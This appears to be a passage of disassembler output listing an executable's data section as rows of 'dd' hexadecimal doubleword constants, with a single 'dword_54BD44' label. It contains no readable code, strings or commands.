dd 69022633h, 20DE64C8h, 0AFFC9905h, 84420D4Fh, 71330CFFh
dd 0D6E110D0h, 0B9A54402h, 934E1E4h, 60898A11h, 0DE05539Ch
dd 0B0011956h, 0E893C4C3h, 0C96DC15h, 0A07F627h, 33EC4B31h
dd 39F1C900h, 0E87B5B7h, 28E850D0h, 0C4DF70CCh, 40D23788h
dd 0A3FB141Eh, 398B3CDh, 0E3286F4Dh, 3D16DC98h, 0B5996000h
dd 0FEB28F3Ah, 2CF25222h, 0FFA9BC3Ch, 94F480D0h, 8688F655h
dd 490F5A00h, 0FF06DCE6h, 13901C4h, 8E22EB60h, 176822AAh
dd 0E009D5Ch, 6FD87EC7h, 0A3A004E9h, 0CC4BAF3Bh, 0C2017CC4h
dd 128F591Ch, 0A230172Ah, 61BEEABh, 0AA979F50h, 810051B4h
dd 156D07CDh, 0F0E7E385h, 0C9510959h, 70116EC4h, 61E9F909h
dd 0F5B2F0D8h, 0BB9D880Fh, 0F9807F7Ch, 9FC33FBDh, 0A3330220h
dd 0A06C7FCh, 0F07DB623h, 0B8ADCD4h, 7E855EF7h, 2A3D4381h
dd 7B88DC9Bh, 884C272Eh, 0E5061A00h, 52DED0B9h, 2019855h
dd 67C28F8Eh, 815F600Fh, 4020B9CBh, 245526D4h, 4040820Ch
dd 0A71D7448h, 98F7E00Eh, 9E4340DAh, 12232AC8h, 0D05922BDh
dd 2E37F348h, 7D170300h, 34312DB8h, 70772CE8h, 11F630Ch
dd 1E6BD9A0h, 2EBB2400h, 0BA96F418h, 9DF10921h, 498790Fh
dd 0AC00E742h, 93A61058h, 773231E5h, 17910015h, 0B0C169A8h
dd 2FE3FFC5h, 555E6DC0h, 0BBD89639h, 7CC7AA6h, 0C7CEB79Bh
dd 798270C6h, 0C23ECAFFh, 9010A4C9h, 0AB090780h, 5B90F6Bh
dd 20D6E773h, 138845C8h, 88D4C1BAh, 3D84296Dh, 315D004Fh
dd 0A662285Ch, 34BEE18h, 342AE1A3h, 27E0C451h, 50799CD0h
dd 0AF5408C2h, 3E805257h, 7C4CF4FFh, 5621440Eh, 999D9500h
dd 4C9CAA8Ah, 0EFE21A80h, 9EC757D0h, 1E5E635Ch, 0F6F195A0h
dd 0F507C890h, 0A6ACDE87h, 406C7CE2h, 16234ED8h, 82F54B3h
dd 78ADC94h, 570D997Bh, 7C6389DAh, 0B44F280Eh, 50013747h
dd 52D3DF9Eh, 7D0DD403h, 0FEA96293h, 0FE7A0199h, 76CACCBh
dd 0E88B60B2h, 0D0E28EFCh, 0C449934Bh, 0F88C48A3h, 3B5C053Fh
dd 0C2F708FEh, 0B028D274h, 0E2ED3904h, 68505C82h, 0A455AF38h
dd 43E4B4B4h, 74F834B8h, 7700538Dh, 28AF440Eh, 9C5AB763h
dd 0DB8B805Ch, 0D675B65Ch, 3A9F0E00h, 1B2F55Bh, 500B0084h
dd 7D91A555h, 0C5050C4Eh, 0AAA720B0h, 0FC1338C8h, 0C9140071h
dd 0EC8F8AFAh, 61016BD8h, 22A79711h, 82F00621h, 0AB3A1E77h
dd 0A95640B8h, 26F85405h, 0F1781B19h, 0D88541C8h, 8C6B7195h
dd 7C0059E8h, 6CDC0ECCh, 3BA11985h, 308377B4h, 28EA61E2h
dd 0F2D56B8h, 0D73E1A00h, 0F98F5DE5h, 109E21h, 819B9E4Ah
dd 4E3A7A82h, 0D0E709B1h, 0BC50C8EBh, 26D1C01h, 0BA7E802Dh
dd 85622149h, 8A788202h, 20B5A334h, 0E1686E30h, 0EC79AE1Eh
dd 99C0F4C0h, 4204547h, 6EDF7293h, 3B8C900Fh, 0CD1D0AE0h
dd 0DB0E7EA2h, 417D0F91h, 7BB7376Dh, 0BDDABE0h, 5AF44D54h
dd 20273090h, 69ED4700h, 108B282Eh, 8E1B0994h, 101006E8h
dd 7807432Dh, 9634BC4Ah, 0FC2049BBh, 5EFC4C31h, 4C020077h
dd 8FFA0AB2h, 19FA4395h, 1546C305h, 0E088A408h, 5B6600B6h
dd 13312BF7h, 0B200F139h, 79329594h, 0B65AB897h, 5CD58F94h
dd 707E6040h, 0A23DAE80h, 57950107h, 6E203F17h, 3007143Dh
dd 0A0D212E3h, 9AC9C3D8h, 540222F6h, 8D470B61h, 0E5588006h
dd 0F24877C2h, 0F1A800BDh, 62DA5A2Bh, 0D3396601h, 542E0950h
dd 0C1CC6289h, 8AF87190h, 0FD780088h, 832C029Dh, 49002DEDh
dd 418274C3h, 280AD06h, 0BF4257FBh, 84466333h, 0EB51B000h
dd 5ABC5339h, 5835250Dh, 0BC477C2Bh, 10043A80h, 9D6237Fh
dd 94FF2879h, 6903AC64h, 0D8FA61E9h, 0B291890Dh, 90581993h
dd 62603198h, 10EE7527h, 0C33E1Ch, 87BC762Ch, 9F82E27Eh
dd 0A40065EEh, 0C77F68Dh
dd 58FE5E47h, 7CC310C1h, 6788AFE1h, 0A800FDA5h, 43854DF9h
dd 0BB820F37h, 0C6040078h, 8F94F93Ch, 48FDF12Ch, 3850BB11h
dd 7FBC012Fh, 9A4F1CD3h, 1C796Fh, 12C3B890h, 64AC2h, 0A5E87B76h
dd 6FBBFCCCh, 0F4CB1400h, 0BDFEFD20h, 1E0EEA21h, 15EE93AFh
dd 0E90754BCh, 67B5FFE7h, 0EEAB30F3h, 4F2FCAF8h, 92EC906Dh
dd 9B7E31h, 0F603C051h, 6CC3A99Ch, 2660E102h, 612A3EA3h
dd 103C8377h, 0FE405188h, 0D57382h, 54943ED1h, 56539016h
dd 0F1C29E12h, 760B28A6h, 45050DFEh, 5E2487C7h, 0AFAB1743h
dd 0B1CD5900h, 0CE5AADD9h, 0CA310E4Fh, 84C05B0Dh, 59521148h
dd 0FA008091h, 0E379298h, 0F4940031h, 211CF516h, 0F892116Fh
dd 0D801EB3Ch, 0C02E02BBh, 7174E846h, 0EFDA0014h, 0AAF881B4h
dd 0D8372800h, 32B02CD5h, 25A800B7h, 1BB0C88h, 0F074FC69h
dd 53B17124h, 82304825h, 657F0024h, 0A5B78505h, 0A3488FE9h
dd 56038F38h, 297C9D00h, 12232E56h, 0D0AA81E3h, 5F375C0h
dd 0ED4B6F00h, 0F1290C01h, 58C876A1h, 4380AC6Eh, 0E75FA42Bh
dd 9607287Dh, 76B0506Ch, 2C9162E7h, 13205AF3h, 0A4090FF0h
dd 0B581C8EDh, 0E00C4176h, 0D11B08C7h, 0E030742Fh, 0EB71F3h
dd 4DF72629h, 47E59CB8h, 0C0A67603h, 0D6E2ED1h, 0CE446F29h
dd 0D8B8E048h, 4D5F9600h, 27FC9746h, 5E953968h, 9A89A9B0h
dd 9B006D7Ch, 9C61F3A8h, 3C34750Dh, 701D36Eh, 0F066BEB8h
dd 0E25183C5h, 0B0390F5Dh, 1D684D28h, 3F5D521h, 5B4F58CFh
dd 9D956DD1h, 7D4998h, 4AC978F2h, 7B337CD1h, 79B2606Fh
dd 0D444BDD3h, 6B00F5E8h, 0F83AB340h, 9F5F4Dh, 6D85163Eh
dd 0FD2F32F1h, 9718E467h, 8B8E17C0h, 0A5EA3F1Ah, 9861C79Bh
dd 98953400h, 6FD87D5Ch, 0B1CA61EDh, 505E311Bh, 603B0D8Ch
dd 727B6180h, 72A80082h, 0B3E9250h, 0CE0307B2h, 0F79D74DAh
dd 6CA7D865h, 0D8A44Ch, 0F25F052Fh, 48D51E29h, 3C00C3F6h
dd 3E908D46h, 30957D39h, 0A579D166h, 6900B859h, 2219042Dh
dd 0E1D1F96h, 46681C36h, 7235D123h, 6909938h, 0C40D8E21h
dd 93200D1h, 8CEC6DFFh, 0F814187Fh, 22EC9486h, 637FACBh
dd 4FDCA423h, 0C2004968h, 8B56B630h, 7024955h, 61796A20h
dd 39D226C3h, 1789301Ch, 0BE0EA340h, 3A96F48h, 0D5EC2F22h
dd 0A5C3F596h, 0F346F160h, 3F929CC5h, 6792B136h, 20380080h
dd 1DDCCB6h, 0AE685918h, 70ECA31h, 0D34F839Eh, 9019E039h
dd 9CF45317h, 756FD04h, 6080CB16h, 6170D527h, 0ECF339A7h
dd 18DED84Bh, 60BB3300h, 5F4FB2D0h, 501E0105h, 4D6CAE09h
dd 35318EB1h, 0A581A317h, 0E846B5F5h, 0E11A67h, 0AFAA3ECDh
dd 0D3CB0A1Bh, 8E961F0Fh, 0B83D009Ah, 97FE75Dh, 0F58F87B3h
dd 0D324BC0Fh, 0CCEBC0BEh, 0E515D9BDh, 0A8774Fh, 586C9028h
dd 60696F11h, 42E081ABh, 0D003D420h, 4615516h, 0B3359980h
dd 91476CF0h, 32780F0h, 54CE250Eh, 19AF6830h, 654105h
dd 0E12CD4FDh, 0F6176444h, 4754A601h, 70507C37h, 16828180h
dd 0E7D5DB43h, 97814D1Eh, 90AEA701h, 4EBF801h, 0F6A55AC0h
dd 6C1C92CBh, 0EC66ACE0h, 6988F854h, 1B79E067h, 5DEF2DE0h
dd 8EB30085h, 0ED949720h, 0B4005E68h, 25E0AAF1h, 984675F2h
dd 0C3802F7h, 49FC2DF9h, 99597040h, 0D67D45B8h, 8F7FAD09h
dd 85781851h, 29810713h, 0A04A68D8h, 7F2FB0C5h, 780D3502h
dd 814F800Eh, 0FA89D6Ch, 3164F20h, 0C7F77E2Ah, 0D812D783h
dd 0A8007734h, 0CF5C3106h, 8C7C12A1h, 61602166h, 0F4ECD4C1h
dd 6F1E8509h, 400C124Fh, 51D2BC58h, 7C20342Ah, 78D64CE7h
dd 6A0CA100h, 6351B8Bh, 0F581500h, 4D133CA2h, 0CC31C36Ch
dd 0AAB8FB8Ch, 0FF0C1605h, 79D06138h, 7365001Bh, 0C02BD32Dh
dd 0D900473Bh, 33E7FEF5h, 4894B3h, 5270164Fh, 50FC9099h
dd 0EC6F380Ch, 908241C1h, 0F8FA0830h, 6D9F614Eh, 6F00ACD3h
dd 0DCCE5046h, 262700BEh, 13DAAE42h, 0E7043917h, 4E6C952Ch
dd 0A3D52088h, 5330F190h, 0C3D7E08Bh, 0B5C86B80h, 0A1604DE5h
dd 222D1020h, 81136061h, 0C054FC4Bh, 8C872300h, 57D2B4C8h
dd 99A12EE6h, 4E370A45h, 0BD604084h, 36023B03h, 596AF5B3h
dd 1C7C60C3h, 0A4211218h, 3F3820F3h, 0D10E4FCh, 0B21F6038h
dd 96B6C03Dh, 0CD6F141h, 303ACC00h, 79D39D71h, 0F8D54C17h
dd 6802D403h, 397D290Dh, 31FB6300h, 6BC61BB2h, 132F0073h
dd 0CCFC70EBh, 0CAEBA876h, 17E680A0h, 0F5000408h, 0C8B8BAE8h
dd 1F2F3D6h, 54063279h, 4067A74Fh, 1E350D7Ch, 28653700h
dd 0FC42CB6h, 1BA10519h, 805D9811h, 0E3027454h, 0F761C5A0h
dd 0D9A39C1h, 1FD0258Ch, 3FD300EBh, 5968DDDAh, 0C7030880h
dd 0FD9E4C92h, 7C1F98F5h, 0ABF76B8h, 694F4A07h, 0FC3680A4h
dd 0F9A0284Dh, 2DEC2000h, 6FE83DEAh, 69C46F47h, 0DD8F7E60h
dd 8D18A3E2h, 3E19BE66h, 3D27006Ah, 0C3094AF1h, 0CF003B79h
dd 0F5508105h, 17A1667h, 4647E7E2h, 63709DDFh, 4B8C00E8h
dd 0CCC25477h, 0A1D80593h, 0C84E26DBh, 0AE003010h, 0C353E719h
dd 482736B2h, 8A06FC4Ch, 49AA6A91h, 0F00CCB0h, 78852E7h
dd 1269D514h, 1EDF1364h, 0F6D44118h, 0D0DCCD66h, 0BEF0777Bh
dd 84BBDD00h, 7C5FF09Ch, 0A142864h, 0A15FEF8h, 6F1DC0A9h
dd 4B1B40E4h, 1AB8E69Ch, 1E24501h, 24D2CE0Ah, 0F500E022h
dd 709DA06h, 34B16F2Ch, 5457A700h, 3FE88E3Bh, 0F526A852h
dd 90360FE7h, 8C1697h, 0D7F61114h, 0B369456Eh, 96A48039h
dd 0CC90D428h, 350823A0h, 0E50390B8h, 6C8BA79Dh, 6794E89Bh
dd 1C4A8D6h, 0FB3E0054h, 0F11FBD75h, 8900E6B6h, 0D8CDAAE5h
dd 2EBB7EE2h, 0B702F5Ah, 0EC04F62Bh, 0C08C5467h, 0A72732C4h
dd 37CE8EAh, 95099344h, 5590F20Dh, 0C93CBFA8h, 6A6E1882h
dd 7AEAA230h, 11ED00A7h, 5B03ADE4h, 0BE032C31h, 0E559046Eh
dd 5FF4C8A1h, 0B9A67480h, 1140261Ch, 0F6D60BB6h, 0B3844174h
dd 886D8C30h, 0E8B94A6Fh, 0E7C7A080h, 7E5922AAh, 1CCB1E9h
dd 8052F9B7h, 0A645D8A4h, 0EB460600h, 3C382C90h, 0C4F50418h
dd 40A8685Eh, 539C257Ah, 0A7D1009Ah, 2307932Ch, 0EC1351E0h
dd 0D000905Fh, 0FC2982B0h, 0A86858F7h, 33E01F81h, 0D46FE47Ch
dd 141DA701h, 0C9164506h, 1AD47021h, 50867E7Fh, 2DA740Eh
dd 0A47D43FAh, 5C644F3Ch, 9E715F00h, 0BBEB6BCFh, 0B9F4ECC3h
dd 0E048A650h, 0E5C570F3h, 0F73424B8h, 0AC0159CAh, 0BF90E1E9h
dd 0D0869050h, 0AAD800DEh, 0BC211C9Bh, 8A009AA3h, 0BF162AD9h
dd 2A82CC1h, 7C68353Eh, 7840FBABh, 804C180Bh, 0B65011DCh
dd 3600C053h, 0DC09563Fh, 0D64C2329h, 670A7ED8h, 8CE16C8Dh
dd 0D8204E45h, 49506FAh, 0A4850245h, 105C8174h, 710404Fh
dd 5000193Ch, 1AD4FCCAh, 94C8F26Fh, 40744480h, 29F3AFECh
dd 4C01E678h, 808E544Eh, 0D20118AFh, 0D05970DDh, 0AB6010E8h
dd 428FF68h, 0A548286Fh, 0C073444Ch, 0B58DE38h, 80C10F56h
dd 74D2CDDEh, 0A36F252Dh, 0EA35D802h, 504771C0h, 70B39C14h
dd 0CCC80070h, 0D6654B83h, 0A210080h, 0E27B6EF1h, 9B076F1Ch
dd 5C0BEABDh, 0FE146640h, 1D4ACA4h, 0F1A59F9Dh, 80624E06h
dd 0ABA8E891h, 345F666h, 85D1499Bh, 53A84FE1h, 5F028BC7h
dd 0DDC921Bh, 1B4486Ch, 86280FD5h, 5800552Fh, 7C778CD9h
dd 0CE16126h, 4E711903h, 7A610065h, 11461AB3h, 0D4EE81BDh
dd 0DBA84100h
dd 30EC6E98h, 47C30F95h, 0AF653F48h, 17A00993h, 81D77C01h
dd 88840BFh, 0A1E2E898h, 24BB8358h, 303800B3h, 17AF095Dh
dd 0FECE0C95h, 7779644Eh, 2E869303h, 0A866656Ch, 0A7F508h
dd 0DAE6B239h, 9B5F9770h, 0ADB07967h, 0CC59DA5h, 0EC13881h
dd 0FC996050h, 51A40071h, 1741B84Ah, 0FB00C7CAh, 0A6F1B33Ah
dd 546F5CABh, 8D0ACh, 1C580A94h, 0A46804DEh, 900919C1h
dd 76805E14h, 891233F7h, 7500FABCh, 37B8C4C9h, 26D00317h
dd 1148BB83h, 0ECA413AEh, 66A7088h, 707BEA82h, 0E70921AAh
dd 7DA6B3h, 19A7D8A5h, 8CFF0186h, 1F0190CEh, 6DF430F0h
dd 54DA4609h, 0B824106Fh, 0AABB016Bh, 0C27EBAECh, 1BE28357h
dd 0CFFD82C4h, 800CB200h, 0C832E7BFh, 0C92B0B00h, 0ADEA46E6h
dd 75A09807h, 0FB20DF24h, 24B8046Ch, 10A4D795h, 643784F8h
dd 90720E44h, 0EDC81020h, 22034BE0h, 0CD4C010Bh, 0E0F6AA59h
dd 526F6448h, 0CC00A869h, 5EF742FAh, 0A9F89110h, 0F0BB88h
dd 0D6A3F9ABh, 4666FA87h, 364EDC00h, 0D7809133h, 7D2C06A5h
dd 58593AD9h, 1A78F008h, 2B5932Fh, 38C21520h, 10ADC861h
dd 0D767CCh, 6AC086D6h, 0BEF2A4F9h, 0C041C0AAh, 0C1CD10B3h
dd 395A1329h, 0DD586193h, 24A47395h, 0A503E054h, 0E1754CA8h
dd 0F6BD964h, 0F561BD81h, 0F29DD88Ah, 6A025072h, 69941161h
dd 12844070h, 4C344C36h, 0F8429907h, 587B84D1h, 2DE0920h
dd 0EDCE60F5h, 5C598792h, 439A0Fh, 85EAB036h, 0D26800F1h
dd 804C1604h, 0FB006013h, 43828F24h, 0A653F61h, 6F5D95EEh
dd 0C7064084h, 3B0070F6h, 3631C13Ch, 7EC3B935h, 47E50491h
dd 8C3DACA1h, 0A290E228h, 0A9227F00h, 963D9FEh, 4CFBF4EBh
dd 0B022D094h, 0E50B282Eh, 114C9025h, 20904AEEh, 0E00180F0h
dd 82B2E538h, 0B8C1A8D4h, 0EBC0FFA4h, 6E01CCE9h, 0A3BB1CC2h
dd 1C606746h, 9287287Bh, 996F1CE8h, 3894D5F4h, 0C9613B0Ah
dd 0BD978BB0h, 89DF1A00h, 649CD292h, 87187009h, 0E156A938h
dd 254C0039h, 0D58656BBh, 0FD007801h, 896820E7h, 76ADBE59h
dd 7B5E03FAh, 1D90F6D7h, 0CC6694D0h, 90B69C0h, 6E1EE1h
dd 0AAE42028h, 5DD613D4h, 800D3639h, 0FC852CC4h, 1DFB1DDDh
dd 427C1AC1h, 0D33A1E4h, 9E57FC60h, 7A07100h, 0CCF394DFh
dd 5C28B0C3h, 29C078D6h, 0E7284C84h, 9D5CC700h, 43386B9Bh
dd 0D8EFE3Dh, 9E526C4Ah, 0F823D1h, 0E8D65710h, 0C59DF5h
dd 92F2CD35h, 272C5B9Eh, 37FD01Eh, 0DE0084EEh, 0FB192FCEh
dd 873B099Dh, 4402337h, 0D5127C38h, 0A830D159h, 98C16A0h
dd 0B85AF725h, 18FC0480h, 374DEFA4h, 0C662620h, 0C8A9F240h
dd 95FB0789h, 507281E7h, 2710F537h, 50228412h, 0D0328F16h
dd 0CCA4114Eh, 2D4FD101h, 16A73840h, 7B2F1Dh, 49757D3Dh
dd 1B3B2CFh, 9A9FE409h, 0EF06087h, 599CA873h, 0EFBC077Eh
dd 61F67267h, 20C33340h, 60021220h, 7CD1E089h, 0D6DC80FFh
dd 1AB1623h, 82BFB4B0h, 0D8850C37h, 5E245657h, 71071C5Bh
dd 0DEF0A5B7h, 301D2881h, 48E9CF61h, 14EC2CF1h, 2B3F6F00h
dd 0FEF5032Fh, 19D92449h, 1EE011B8h, 2BC0AD69h, 8D25E5AFh
dd 0F82E0128h, 214727Dh, 0C762FCA4h, 0A56822h, 0ECAC2B5Ch
dd 331850Dh, 8E2EAE00h, 3458C521h, 38C90BFh, 0FE1DE201h
dd 110018F3h, 3EABBD6Fh, 5CC1D709h, 0EC1D5EFAh, 0C82912A9h
dd 4102D820h, 807D4EF8h, 4D4AE022h, 40CC94BEh, 0E11E5229h
dd 5A037A00h, 2BDE5E40h, 0BD0E00D4h, 6D4B3516h, 44EC9D82h
dd 8400CEB0h, 0C62037F3h, 0C06B4E6Ah, 0A3940369h, 0EA00BAE8h
dd 324F606Ch, 247D2EBh, 6B31F088h, 0E07270A5h, 677F8400h
dd 0E7DE9787h, 9B47E6Dh, 74BE05Fh, 622C4402h, 0D2F36F22h
dd 0A469586Ch, 237C1880h, 0E507EF7Fh, 0A72F92E3h, 0BA875851h
dd 2A2A6E0h, 0A4D80B8Eh, 0F869B9E9h, 0C8244066h, 0ED038D31h
dd 9D7C2B86h, 0DEB4B860h, 71A4147Fh, 0A383F866h, 1AB847A9h
dd 0DA052882h, 0ED6FADBAh, 48572CE4h, 4D004C71h, 5EF09747h
dd 0EA00C3D3h, 0EC38E5D5h, 0B07AFA39h, 33370984h, 244122D0h
dd 0C0D83C4Dh, 0C6D97EC3h, 40A00499h, 85C5A53Fh, 611489B4h
dd 0EEF2E99Ch, 0E8FDA049h, 0E80020A6h, 581B3880h, 0B3840745h
dd 95D6025Ch, 7021CB66h, 72C52474h, 26C396CCh, 8E45E4Dh
dd 0D39CB2EAh, 0BAB592C0h, 135870C5h, 9044665Fh, 182A7CD0h
dd 4556F11Fh, 106FC09h, 111F0440h, 5DBC64h, 8D9FFF21h
dd 32D14C18h, 0D10E0A4h, 0E4026A6Fh, 90D554D4h, 45E2EDE0h
dd 0DA614D00h, 96DC5940h, 83389C66h, 60B408EFh, 5F4E1CF8h
dd 7BF2D700h, 6FD6FD09h, 92B8B43Eh, 0A8282069h, 4B003A89h
dd 2C841A6Eh, 0B95F526Ah, 40248004h, 0AF138269h, 0AEB011B8h
dd 0DE601496h, 3307F095h, 13B96F4Eh, 150F61F0h, 53AED300h
dd 9446E912h, 0F20A00DDh, 76391829h, 0BD28A0EBh, 0D084D8DBh
dd 0BA6E504h, 64F46799h, 0A09C004Eh, 0EB17CFF5h, 49007244h
dd 0DFDAED60h, 4BBB29h, 4DE7BE4Ch, 4F6C9F55h, 2960F499h
dd 0A2DB5Fh, 3D33BDD3h, 750FB090h, 4550858h, 0FDE5AE1Dh
dd 3DC88Ch, 68C610A0h, 8BA6D572h, 670322B0h, 0AB50755Bh
dd 9069B280h, 7140F90h, 0C72D2A9Dh, 4C0019F5h, 0BDE681F9h
dd 6DA9DF09h, 7864005Ch, 4CEBC156h, 19134429h, 112430E7h
dd 6F0077DBh, 563D5E4h, 3AB80255h, 0A385CBB4h, 4EB9206h
dd 0B218F0FFh, 0BC291FBCh, 55AADC80h, 4DA2F6Fh, 0DBBB30Bh
dd 0F41C906Dh, 0A30027ADh, 0FC8891B4h, 3A23BC3h, 74D10BF3h
dd 82DE0FFh, 5D5C1236h, 0ED3228C0h, 0F3D82500h, 0EAC4230Dh
dd 0EE5C0112h, 6F2EBA9Fh, 0F003D44h, 0C90329ECh, 0FCCB68h
dd 0D95849E6h, 912A9665h, 0E80E33E8h, 5E11B27Ch, 0BC01B853h
dd 804FA803h, 103AD8BCh, 1158ED2Eh, 0C7A404B1h, 10F469AFh
dd 0F8A10040h, 9B36235Fh, 0ED3AEBD2h, 90242FB5h, 28F1684h
dd 11F19C3Bh, 1859F7A5h, 0F367207h, 5D343817h, 6B308Ch
dd 5F66BDEBh, 0DDACE934h, 95C073Ah, 9230EDh, 67763363h
dd 9831C0F5h, 1D3EE19h, 6BAACA07h, 30203973h, 17B60C0h
dd 0E3586DB3h, 20D45C59h, 0B2455248h, 92363F40h, 20B4D6h
dd 0E1AE3278h, 8B9953Eh, 659FC80h, 26E750A8h, 7C602F6h
dd 0A02CDE3Fh, 0D505C5A2h, 807C0E5Ch, 0DF2EC989h, 9970317h
dd 0B4D736A3h, 999A3CF3h, 6D035050h, 0A5865376h, 0BFE8A8C7h
dd 608E24F5h, 3EC43CBCh, 1F1B0538h, 0EC172348h, 0F9F45422h
dd 0FA4400E8h, 18D4E02Ah, 0ECD06800h, 13FE7CAEh, 25080322h
dd 0F766A7DBh, 0A881C900h, 0F5E243C1h, 32620046h, 0F7F6C86Dh
dd 8409E47Ah, 0F981C33h, 0E42F2BF8h, 0E650F204h, 634800BAh
dd 0BEA7BD64h, 160398F9h, 7192447Bh, 419100AAh, 0E0D30A7Dh
dd 6002D02Eh, 0DE7348D9h, 6C56B3h, 57C85D51h, 6F0079B4h
dd 61F5549Bh, 0BC1E771h, 282A7F19h, 9023400Fh, 0F4A8F101h
dd 620096FEh, 45488B8Ch, 58FC1D11h, 6022A495h, 0D0231B5Ah
dd 0C440ED0Eh, 6DD6105Dh, 0DD2E00FAh, 0BE251E0h, 0C1050213h
dd 8122A5C7h, 0DF0060F2h, 0DD287596h, 7C00D2BDh, 3537F007h
dd 4C55EC33h, 944DD406h, 0AA0BF580h, 2D011CF9h, 0CB051A58h
dd 0D1FCA4BEh, 4CECA083h, 88760038h, 0CFF0CAF2h, 0FB07E122h
dd 0EAE05646h, 0DECC7880h, 20791D59h, 0C6C300E2h, 3F1F6A3Bh
dd 0FA04D20Ch, 1E22283Dh
dword_54BD44 dd 511832Ah, 80568245h, 0A03B78A8h, 39421900h, 0F4370CF1h
dd 8805007Ch, 0CEA20D4Eh, 5906EE2Eh, 0E9F145FBh, 48FA3348h
dd 87C0BC51h, 4C00093Fh, 8A0A0258h, 0DAC2EFh, 14A4E8Ch
dd 0C678EE5Fh, 7EDF3A00h, 0F0F77F66h, 0C9BE6312h, 800C811h
dd 0D0C307EAh, 1BA309Dh, 6833E466h, 0C55FAD4Bh, 49D9DCC6h
dd 4C601907h, 90E07231h, 0A77E962h, 0F6C6F255h, 7FD01128h
dd 7709A700h, 88FD7C4Ch, 0B66D30E9h, 0A182F598h, 0C67DEE00h
dd 3EF03906h, 41451B97h, 41009AE0h, 0A00FA47Bh, 78175C63h
dd 0D2C70369h, 0CCC05FE4h, 12FA4DC8h, 0C683F900h, 0A4BFE037h
dd 6B8CA843h, 4D56382Bh, 51CC1118h, 0CA00AD86h, 0D5D255A2h
dd 1F9C90CFh, 0C0202671h, 0C47E75FEh, 1E3EE0CCh, 9076017Fh
dd 31B7688Bh, 500A5FCCh, 0FA32A4BBh, 1FFF0782h, 0B0C8CB3Dh
dd 0B6E7A3E9h, 13C3CD3Eh, 390120F9h, 0E2F54F89h, 0CFC04057h
dd 0FF7064h, 0D53051D3h, 0FA1D6727h, 0B974F937h, 1303B1D0h
dd 6B60007Eh, 0D1A8412Fh, 4D00688Dh, 32D35C4Fh, 48E80B3Dh
dd 0A08044ECh, 17304BD6h, 494AFC30h, 1C28241Dh, 5CF883D8h
dd 54FA09C1h, 0BF025830h, 3146A330h, 30861D99h, 0F2114CFBh
dd 0B7A0F9A2h, 0D015325h, 0E8BD65A1h, 0F4202ED5h, 0E1260022h
dd 18FA366Ah, 42E80964h, 50DFAC24h, 8A035091h, 595EC4C9h
dd 0FC9DF6B1h, 4900E554h, 0E1792B31h, 0E2F187FFh, 2468A0CEh
dd 90DD1425h, 0E400AC8Dh, 6B8CAF43h, 0CF18913Bh, 0C129F1EEh
dd 576400D8h, 5A4D147h, 8400FD03h, 89C88BEFh, 80BF1280h
dd 730031EAh, 3703A5CCh, 79CE4D02h, 0C0511CC8h, 64F4F44Ch
dd 8B0CC08Ch, 0C701D9F0h, 102A721Dh, 9822EF15h, 98E7FF1Fh
dd 3AF31291h, 65141800h, 0E2E31CCBh, 260E01B1h, 678962FDh
dd 8DD824F0h, 3B749C03h, 0E03E7307h, 0C32B724h, 0F9F00F44h
dd 5261859h, 0A10089BAh, 61CD8A4Dh, 6FD0064h, 0C1EFEA66h
dd 713DB2F1h, 5EF28068h, 3A84EE80h, 321838FBh, 0F1C31018h
dd 870F3E2Dh, 0C1CBE9ACh, 37804DD2h, 196CEDF4h, 29C110D9h
dd 0F3D7E4BBh, 0F006C501h, 0DD4C485Dh, 5797B30h, 0FBEF32CCh
dd 0A7E44051h, 7B5D64EBh, 0A486BF00h, 67DBC96h, 0C8890C58h
dd 9A29416Fh, 15BC7652h, 380ED67h, 32FECDC7h, 0D57DF8E3h
dd 0D6A350A8h, 91250378h, 0AC67961h, 0C3755AAAh, 0DE81E744h
dd 6EC83251h, 951D2D4h, 4E84B720h, 3C3492A6h, 221C7FE0h
dd 0E63B272Eh, 0EC84D000h, 0C0FAE560h, 0F58F06D2h, 0A1C04FFBh
dd 938A18B8h, 28B10F54h, 48C4DF74h, 8C009059h, 0AD0017A0h
dd 6A0BC6C5h, 18840D02h, 4155FC57h, 94001310h, 44749F97h
dd 60497565h, 8E30C045h, 1152DB1Bh, 494CB0h, 0D59C7BD7h
dd 5CE2Ah, 0D3C76C39h, 0FAEA4BFBh, 421FCC01h, 3E7B7FBFh
dd 18E6C0EFh, 9FA100C3h, 0DB70FF55h, 5E3E9039h, 2CFA00E5h
dd 77DEBB31h, 0A34E3CC7h, 25521100h, 0BACF457Dh, 0B0234D06h
dd 3C480492h, 4280B8FAh, 0A7E88414h, 0DB309C1Ah, 40E67817h
dd 4771C0E5h, 0D9444A71h, 72342600h, 2351A72Dh, 0CD8301C0h
dd 0D40DAFF0h, 3D6EE460h, 64BB9604h, 3880B9F5h, 302A5FD2h
dd 0CC7099A4h, 0BF098DEBh, 58A948C7h, 890501A7h, 77BA4EBDh
dd 79B5E445h, 6CC3A31Ch, 55719A00h, 60F4B343h, 72EF9924h
dd 0BD00B7C6h, 4C8F1660h, 0E2B4FCBh, 70A84B28h, 3DD97CFh
dd 9FA6B9A4h, 80757903h, 0E1EEF95Dh, 56EC7871h, 65CF80Bh
dd 0CD9C827Eh, 2906611Ch, 20EE8F4Bh, 0C9FB3F11h, 8E454300h
dd 42BA83BFh, 0B2BB9209h, 409B024Ah, 2794A0F4h, 148691E5h
dd 0A4CD9B29h, 0B370B587h, 6CD89E16h, 19C0A456h, 0D1957918h
dd 159D0A08h, 2243FE1h, 2E5090Dh, 86EDCD40h, 0A9F39300h
dd 0CC237A88h, 8EEE0047h, 0D9979677h, 79021058h, 7529F2A5h
dd 22ECA701h, 9C08821Fh, 466C90CEh, 14A101DAh, 0A9988C18h
dd 1F2DF41Ah, 0B7FABE1Dh, 9857A6CAh, 0FF5158Bh, 0C88301AEh
dd 6843D19Bh, 0BD4000B7h, 776DAF4Ch, 231E9CA4h, 9D40DD2h
dd 7A7CC0D4h, 760D906h, 5CDCB568h, 0BAB4430Ah, 9697F801h
dd 32713614h, 0D46DFE4h, 98A60F3Fh, 0A017E081h, 494E8200h
dd 0AE8A1012h, 88A8035Ah, 0EF9D919Ah, 241F2800h, 545C07BDh
dd 0B57CDEh, 1E834540h, 6D807F36h, 0EA3E0515h, 0D6FB0FACh
dd 0E150C099h, 0AA0EBEh, 2458DF59h, 92B7ED8Ah, 35980FFh
dd 237470A5h, 65B207A4h, 30502007h, 0F3B76C15h, 0A9537F30h
dd 37199635h, 701151A6h, 4749CD4Dh, 79F24030h, 745B7C2h
dd 6712143Ch, 5629F14Dh, 79F84898h, 5AFEDB00h, 0AA9A97CAh
dd 508130F3h, 8A28DD51h, 0B805F514h, 299305BCh, 0F4200273h
